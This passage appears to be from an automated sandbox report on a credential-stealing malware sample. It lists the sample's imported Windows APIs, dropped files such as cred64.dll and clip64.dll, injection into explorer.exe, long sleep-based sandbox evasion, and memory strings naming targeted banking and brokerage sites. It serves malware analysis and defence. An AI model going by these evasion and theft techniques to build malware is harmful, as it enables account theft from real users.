L32.DLLFREELIBRARYKERNEL32.DLLMOVEFILEWKERNEL32.DLLGETFILESIZEEXKERNEL32.DLLGETWINDOWSDIRECTORYAKERNEL32.DLLGETVOLUMEINFORMATIONAKERNEL32.DLLGETTICKCOUNTKERNEL32.DLLWSPRINTFWUSER32.DLLWSPRINTFAUSER32.DLLVIRTUALALLOCKERNEL32.DLLREADFILEKERNEL32.DLLSLEEPKERNEL32.DLLVIRTUALFREEKERNEL32.DLLSETFILEPOINTERKERNEL32.DLLCREATEDIRECTORYWKERNEL32.DLLFINDFIRSTFILEWKERNEL32.DLLFINDNEXTFILEWKERNEL32.DLLFINDCLOSEKERNEL32.DLLCOPYFILEWKERNEL32.DLLWRITEFILEKERNEL32.DLLGETSYSTEMDIRECTORYWKERNEL32.DLLEXITPROCESSKERNEL32.DLLCREATEREMOTETHREADKERNEL32.DLLINTERNETOPENURLWWININET.DLLINTERNETREADFILEWININET.DLLHTTPQUERYINFOAWININET.DLLINTERNETOPENWWININET.DLLINTERNETCONNECTWWININET.DLLHTTPOPENREQUESTWWININET.DLLHTTPSENDREQUESTAWININET.DLLINTERNETCLOSEHANDLEWININET.DLLPATHISURLWSHLWAPI.DLLPATHCOMBINEWSHLWAPI.DLLPATHFINDFILENAMEWSHLWAPI.DLLSTRSTRASHLWAPI.DLLURLDOWNLOADTOFILEWURLMON.DLLCREATEPROCESSWKERNEL32.DLLSHELLEXECUTEWSHELL32.DLLGETMODULEFILENAMEWKERNEL32.DLLGETSHORTPATHNAMEWKERNEL32.DLLGETENVIRONMENTVARIABLEWKERNEL32.DLLREGOPENKEYEXWADVAPI32.DLLREGSETVALUEEX

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Memory allocated: F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Memory allocated: 4AF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5B88B0 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,HeapAlloc,HeapReAlloc,Thread32Next,CloseHandle,

5_2_0C5B88B0

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Thread delayed: delay time: 180000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\audiodg.exe	Window / User API: threadDelayed 1215	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1518	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 8352	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 637	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 629	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Window / User API: threadDelayed 1013	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Window / User API: threadDelayed 1293	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Window / User API: threadDelayed 3490
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 4009
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 4005
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1975
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1796

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_5-39237

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\python38.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\43266f2abbf198\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\43266f2abbf198\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI15962\_bz2.pyd	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

Evaded block: after key decision

graph_2-847

Source: C:\Windows\System32\audiodg.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_8-1135
Source: C:\Windows\System32\msiexec.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_9-1149
Source: C:\Users\user\Desktop\mggoBrtk9t.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-1139
Source: C:\Users\user\AppData\Roaming\A629855EB2A22925382193\A629855EB2A22925382193.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_6-1188
Source: C:\Windows\System32\svchost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_2-1134
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_11-17044

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	API coverage: 1.9 %
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	API coverage: 4.2 %
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	API coverage: 1.9 %
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	API coverage: 1.9 %

Source: C:\Windows\System32\audiodg.exe TID: 5348	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\audiodg.exe TID: 5348	Thread sleep count: 1215 > 30	Jump to behavior
Source: C:\Windows\System32\audiodg.exe TID: 5348	Thread sleep time: -60750000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\audiodg.exe TID: 5316	Thread sleep count: 87 > 30	Jump to behavior
Source: C:\Windows\System32\audiodg.exe TID: 5316	Thread sleep time: -234900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 5856	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 5856	Thread sleep count: 1343 > 30	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 5856	Thread sleep time: -67150000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 1360	Thread sleep count: 80 > 30	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 1360	Thread sleep time: -216000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7132	Thread sleep time: -1442100s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6896	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7132	Thread sleep time: -7934400s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe TID: 740	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe TID: 3436	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe TID: 3080	Thread sleep count: 3490 > 30
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe TID: 3080	Thread sleep time: -104700000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe TID: 4268	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe TID: 2184	Thread sleep time: -540000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe TID: 3080	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2928	Thread sleep count: 4009 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2928	Thread sleep time: -4009000s >= -30000s
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5688	Thread sleep count: 4005 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 5688	Thread sleep time: -4005000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2856	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6092	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6656	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6424	Thread sleep count: 1796 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2400	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\audiodg.exe	Last function: Thread delayed
Source: C:\Windows\System32\audiodg.exe	Last function: Thread delayed
Source: C:\Windows\System32\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\System32\msiexec.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\rundll32.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	11_2_00007FF7102C79B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102C85A0 FindFirstFileExW,FindClose,	11_2_00007FF7102C85A0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 11_2_00007FF7102E0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_00007FF7102E0B84
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C85A0 FindFirstFileExW,FindClose,	16_2_00007FF7102C85A0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102C79B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	16_2_00007FF7102C79B0
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FF7102E0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_00007FF7102E0B84
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE23303C FindFirstFileExW,FindNextFileW,FindClose,	16_2_00007FFEEE23303C
Source: C:\Users\user\AppData\Local\Temp\56C7.tmp.ctx.exe	Code function: 16_2_00007FFEEE233280 FindFirstFileExW,FindNextFileW,FindClose,	16_2_00007FFEEE233280
Source: C:\Users\user\AppData\Local\Temp\759D.tmp.gfx.exe	Code function: 18_2_004EF661 FindFirstFileExW,	18_2_004EF661
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 19_2_0033F661 FindFirstFileExW,	19_2_0033F661
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Code function: 20_2_0033F661 FindFirstFileExW,	20_2_0033F661

Source: C:\Windows\explorer.exe

Code function: 5_2_0C5B7B10 GetSystemInfo,VirtualAlloc,VirtualAlloc,

5_2_0C5B7B10

Source: C:\Windows\System32\audiodg.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Thread delayed: delay time: 50000	Jump to behavior
Source: C:\Windows\explorer.exe	Thread delayed: delay time: 90000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6148.tmp.ssg.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Thread delayed: delay time: 30000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\OneDrive\desktop.ini
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Music\desktop.ini
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Videos\desktop.ini

Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696503903o
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696503903z
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696503903h
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696503903x
Source: explorer.exe, 00000005.00000003.3084849985.00000000087C2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3821436820.00000000087C2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087C2000.00000004.00000001.00020000.00000000.sdmp, Gxtuum.exe, 00000017.00000002.3805886910.0000000000835000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000017.00000002.3805886910.00000000007E5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001A.00000002.3469272832.00000222064F2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000002.3004550203.00000247D33D5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000002.3004550203.00000247D3422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.2990680017.00000247D3422000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000021.00000002.3797376340.0000000002E73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000022.00000002.3798980117.00000000031BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696503903]
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696503903u
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696503903\|UE
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696503903}
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696503903
Source: 6148.tmp.ssg.exe, 00000011.00000002.1769771051.000000000406C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696503903t
Source: rundll32.exe, 0000001A.00000002.3469272832.00000222064C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: explorer.exe, 00000005.00000003.2193186163.00000000088E1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
